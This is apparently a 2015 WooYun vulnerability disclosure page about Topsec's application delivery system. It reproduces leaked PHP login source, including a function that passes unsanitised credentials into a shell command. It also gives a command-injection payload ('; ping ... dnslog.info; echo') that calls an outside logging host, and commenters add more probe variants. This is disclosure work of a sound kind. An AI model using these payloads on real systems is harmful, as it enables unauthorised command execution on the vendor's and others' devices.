当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105415

漏洞标题:天融信应用交付系统源码泄漏+用cloudeye神器秒杀命令执行

相关厂商:天融信

漏洞作者: Alen

提交时间:2015-04-02 18:46

修复时间:2015-05-24 18:08

公开时间:2015-05-24 18:08

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-02: 细节已通知厂商并且等待厂商处理中
2015-04-09: 厂商已经确认,细节仅向厂商公开
2015-04-19: 细节向核心白帽子及相关领域专家公开
2015-04-29: 细节向普通白帽子公开
2015-05-09: 细节向实习白帽子公开
2015-05-24: 细节向公众公开

简要描述:

天融信应用交付系统源码泄漏
天融信1995年成立,总部设在北京。作为中国信息安全行业领导企业,多年来天融信人凭借着高度民族使命感和责任感,秉承“融天下英才、筑可信网络”的人才理念,成功打造出中国信息安全产业领先品牌TOPSEC。

详细说明:

http://mail.topsec.com.cn:8888/login.php. 
http://mail.topsec.com.cn:8888/login_check.php.
http://mail.topsec.com.cn:8888/logout.php.
http://mail.topsec.com.cn:8888/redirect.php.


<?php
include_once dirname(__FILE__)."/acc/common/uiResources.inc";
require_once dirname(__FILE__)."/acc/common/config/item/configItem.inc";
require_once dirname(__FILE__)."/acc/common/constant.inc";
$error = $_REQUEST['error'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD>
<META http-equiv=Content-Type content="text/html; charset=utf-8">
<TITLE>
<?php echo PRODUCT_NAME_STRING?>
</TITLE>
<meta http-equiv="pragram" content="no-cache">
<meta http-equiv="expires" content="0">
<STYLE type=text/css>
BODY {
MARGIN: 0px;
background-color: #ffffff;
}
input.SmallButtonStyle
{
color: #FFFFFF;
background:#017BC4;
font:bold 14px Arial;
width: 70px;
height:30px;
border-width :3px;
border-style:ridge;
border-color:#CCCCCC;
vertical-align:middle;
text-align:center;
cursor: pointer;
}
.style10 {
font-size: 13px;
color: #FFFFFF;
}
</STYLE>
<LINK href="css/css.css" type=text/css rel=stylesheet>
<META content="MSHTML 6.00.2900.3314" name=GENERATOR>
<script language="javascript" src="js/prototype.js"></script>
<script>
function go(){
new Ajax.Request($('loginForm').action, {
parameters: "userName=" + $F('userName') + "&password=" + $F('pwd'),
onSuccess:function(r){
alert(r.responseText);
var d = r.responseText.evalJSON(true);
var str = $F('err' + d.code);
if(d.code == 0){
if(confirm(d.user + str)){
window.location = 'redirect.php';
}else{
window.location = 'logout.php';
}
}else if(d.code == 1){
alert(str);
}else{
window.location = 'redirect.php';
}
}
});
}
Event.observe(window, 'load', function(){
$('userName').focus();
<?php if(isset($error)){?>
alert($F('err1'));
<?php }?>
});
</script>
<style type="text/css">
<!--
.style11 {color: #017BC4}
-->
</style>
</HEAD>
<BODY>
<span class="style11"></span>
<input type="hidden" id="err0" value="<?php echo LOGIN_INTERRUPT?>"/>
<input type="hidden" id="err1" value="<?php echo LOGIN_ERROR_STRING?>"/>
<input type="hidden" id="err2" value=""/>
<table width="100%" height="90%">
<tr align="center">
<td height="360">
<table width="460" height="275" background="images/login-background.jpg">
<tr>
<td width="44" height="90" align="center">&nbsp;</td>
<td width="181" height="90" align="center"></td>
<td width="219" vAlign="bottom" align="right">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
</tr>
<tr>
<td height="22" align="center">&nbsp;</td>
<td height="22" align="center">&nbsp;</td>
<TD ><!-- #EndLibraryItem --></TD>
</tr>
<tr>
<td height="38" align="center">&nbsp;</td>
<td height="38" colspan="2" align="center">
<CENTER>
<FORM action="login_check.php" id="loginForm" method=post>
<TABLE border=0>
<TBODY>
<TR align=middle>
<TD width="97" align="right"><strong><?php echo INDEX_USERNAME_STRING ?>:</strong></TD>
<TD width="230"><INPUT style="width:200px;" id=userName size=28 name='userName'></TD>
</TR>
<TR align=middle>
<TD align="right"><strong><?php echo INDEX_PASSWORD_STRING ?>:</strong></TD>
<TD><INPUT style="width:200px; " id="pwd" type=password size=28 name='password'></TD>
</TR>
<TR align=middle>
<TD height="44" colspan="1"> </TD>
<TD align="left"><INPUT type='image' src='<?php echo LOGIN_IMAGE ?>' align="top" value="aaaa" ></INPUT></TD>
</TR></TBODY></TABLE>
</FORM></CENTER></td>
</tr>
<tr>
<td height="27" align="center">&nbsp;</td>
<td height="27" align="center">&nbsp;</td>
<td align="center">&nbsp;</td>
</tr>
</table>
</td>
</tr>
</table>
<TABLE cellSpacing=0 cellPadding=0 width=1024 border=0>
<TBODY>
<TR>
<TD align=middle height=46><span class="style10">&copy;</span><FONT
color=white><B>
<?php
echo PAGE_COPYRIGHT_STRING;
?>
&nbsp;
</B></FONT></TD></TR></TBODY></TABLE></BODY></HTML>


<?php 
require_once dirname ( __FILE__ ) . '/acc/common/log/LogUtil.inc';

session_start();
/*
$remoteIp = $_SERVER['REMOTE_ADDR'];
file_put_contents("/tmp/loginIp", $remoteIp);
$user = $_SESSION['userInfo'];
syslog(LOG_INFO, "$user login from $remoteIp");
*/
logger('auth', 'User Auth', LOG_ACTION_LOGIN);
header("Location:/");
?>


<?php
require_once dirname ( __FILE__ ) . '/acc/common/log/LogUtil.inc';
session_start();
logger('auth', 'User Auth', LOG_ACTION_LOGOUT);
$remote = $_SERVER['REMOTE_ADDR'];// . ':' . $_SERVER['REMOTE_PORT'];
$line = file_get_contents('/tmp/loginIp');

if($remote == $line)
file_put_contents("/tmp/loginIp", '');
$user = $_SESSION['userInfo'];
syslog(LOG_INFO, "$user logout from $remoteIp");
$_SESSION = array();
if (isset($_COOKIE[session_name()])) {
setcookie(session_name(), '', time()-42000, '/');
}
session_destroy();
header("Location:/");
?>


<?php
require_once dirname ( __FILE__ ) . "/acc/common/uiResources.inc";
require_once dirname ( __FILE__ ) . "/acc/common/userManager.inc";
require_once dirname ( __FILE__ ) . '/acc/common/commandWrapper.inc';
session_start();
$userManager = new UserManager();
$userName = "";
$password = "";
if(isset($_REQUEST["userName"])){
$userName = $_REQUEST["userName"];
$password = $_REQUEST["password"];
}
if($userManager->certificateUser($userName,$password)){
header("location: redirect.php");
}else{
header("location: login.php?error=1");
}
?>


1.png

2.png


太复杂了,看代码不爽,直接黑盒搞个命令执行看看

; ping 333d61.dnslog.info; echo


topsec123.jpg


1.png


漏洞证明:

curl 'http://mail.topsec.com.cn:888login_check.php.'
<?php
require_once dirname ( __FILE__ ) . "/acc/common/uiResources.inc";
require_once dirname ( __FILE__ ) . "/acc/common/userManager.inc";
require_once dirname ( __FILE__ ) . '/acc/common/commandWrapper.inc';
session_start();
$userManager = new UserManager();
$userName = "";
$password = "";
if(isset($_REQUEST["userName"])){
$userName = $_REQUEST["userName"];
$password = $_REQUEST["password"];
}
if($userManager->certificateUser($userName,$password)){
header("location: redirect.php");
}else{
header("location: login.php?error=1");
}
?>


public function certificateUser($user,$pass){
$logined = false;

//if(strcasecmp($user,"admin")!=0){
// return false;
//}

$validateUserPassFormat= APPEX_CMD_LOC.'ckpwd %s %s';
$command = sprintf($validateUserPassFormat,$user,$pass);
$result = execute($command);
$status = $result->get('retValue');
if($status ==0){
$_SESSION['userInfo']=$user;
$userDao = new UserDao();
$user = $userDao->getUserFromUserName($user);
$_SESSION['userType']=$user->getUserType();
$logined = true;
}
return $logined;
}


修复方案:

版权声明:转载请注明来源 Alen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-09 18:07

厂商回复:

感谢您的漏洞报送,产品问题正在修复中。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-02 18:54 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    洞主有没有吃了一斤

  2. 2015-04-02 18:56 | Alen ( 实习白帽子 | Rank:86 漏洞数:21 | 精华漏洞数:10 | WooYun认证√ Duang)

    @浩天 大神 666

  3. 2015-04-02 18:57 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    不是我

  4. 2015-04-02 19:02 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @Alen 666啥意思?

  5. 2015-04-02 19:07 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)

    描述怎么像打广告~

  6. 2015-04-02 19:18 | boooooom 认证白帽子 ( 普通白帽子 | Rank:467 漏洞数:50 | 我有一个好想法!)

    太凶了。我也要买神器。

  7. 2015-04-02 19:22 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    买买买!

  8. 2015-04-02 19:30 | 毛猴 ( 实习白帽子 | Rank:63 漏洞数:18 | 一 只 怀 有 梦 想 的 猴 ......)

    天融信看这里!!!!!!!!!!天融信看这里!!!!!!!!!!天融信看这里!!!!!!!!!!天融信看这里!!!!!!!!!!天融信看这里!!!!!!!!!!

  9. 2015-04-02 20:00 | Alen ( 实习白帽子 | Rank:86 漏洞数:21 | 精华漏洞数:10 | WooYun认证√ Duang)

    @疯狗 牛牛牛

  10. 2015-04-02 20:20 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    这是睡了几晚换来的广告···

  11. 2015-04-02 20:26 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    我累个大槽

  12. 2015-04-02 20:26 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    强势插入前排mark

  13. 2015-04-02 23:06 | 小红猪 ( 普通白帽子 | Rank:194 漏洞数:30 | Wow~~~哈哈~~~)

    牛逼!坐等细节

  14. 2015-04-02 23:21 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    666

  15. 2015-04-03 11:39 | 开心一下1313 ( 实习白帽子 | Rank:63 漏洞数:20 | 喝口水,压压惊......)

    牛掰啊!

  16. 2015-04-03 11:47 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    期待

  17. 2015-05-01 10:25 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个给力了

  18. 2015-05-24 20:41 | ( 普通白帽子 | Rank:276 漏洞数:69 | ❤)

    原来可以这样的

  19. 2015-05-24 20:50 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    不选通用型亏大了

  20. 2015-05-25 01:31 | 小2b ( 路人 | Rank:2 漏洞数:1 | 努力赚钱)

    前排出黄瓜,瓜子,西瓜,东瓜,南瓜,还有傻瓜

  21. 2015-05-25 22:31 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    @Alen 请问除了; ping 333d61.dnslog.info; echo这种,还有啥姿势?

  22. 2015-08-11 14:58 | Master ( 路人 | Rank:29 漏洞数:10 )

    还有 telnet www.baidu.com;echo tracert www.1.com;echo

  23. 2015-08-11 14:58 | Master ( 路人 | Rank:29 漏洞数:10 )

    @qhwlpg 还有 telnet www.baidu.com;echo tracert www.1.com;echo